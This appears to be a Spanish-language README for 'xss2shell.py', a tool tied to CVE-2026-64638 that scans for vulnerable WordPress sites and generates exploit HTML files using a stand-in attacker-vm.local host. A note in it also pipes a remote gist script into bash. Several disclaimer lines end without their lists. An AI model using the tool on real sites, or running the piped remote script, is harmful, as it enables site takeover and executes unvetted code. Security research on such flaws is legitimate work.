
CVE-2026-64638 - Borrador o PENDIENTE
Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación.
Usa este proyecto únicamente en entornos seguros y autorizados, como:
Ejemplo de configuración:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
Ejemplo de uso:
# 1. Scanning Mode - Detect Vulnerable WordPress Sites:
# Scan a single URL
python xss2shell.py scan http://wp-vm.local
# Scan targets from file (one URL per line)
python xss2shell.py scan targets.txt
# Scan with custom settings
python xss2shell.py scan targets.txt --workers 10 --output my_results.json
# 2. Exploit Generation Mode - Create Exploit HTML Files
# Generate exploit for single target
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local
# Generate exploits for multiple targets from file
python xss2shell.py exploit targets.txt --attacker-url http://attacker-vm.local --output-dir exploits/
# Specify admin username
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local --admin-user administrator
Nota:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y para limpiar el directorio .git anidadoUn repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados.
Este repositorio es solo para investigación de seguridad educativa y autorizada.
Está diseñado para ayudar a los usuarios a aprender sobre:
Usa este repositorio únicamente en entornos donde tengas permiso, como:
El uso no autorizado o ilegal está estrictamente prohibido.
El autor y los colaboradores no son responsables de ningún daño, mal uso, problema legal o pérdida causados por este proyecto.
Al usar este repositorio, aceptas que:
Este proyecto está pensado para:
Sigue prácticas de divulgación responsable y cumple con todas las leyes aplicables.
Para divulgación responsable o colaboración, contacta con el mantenedor del repositorio a través de GitHub.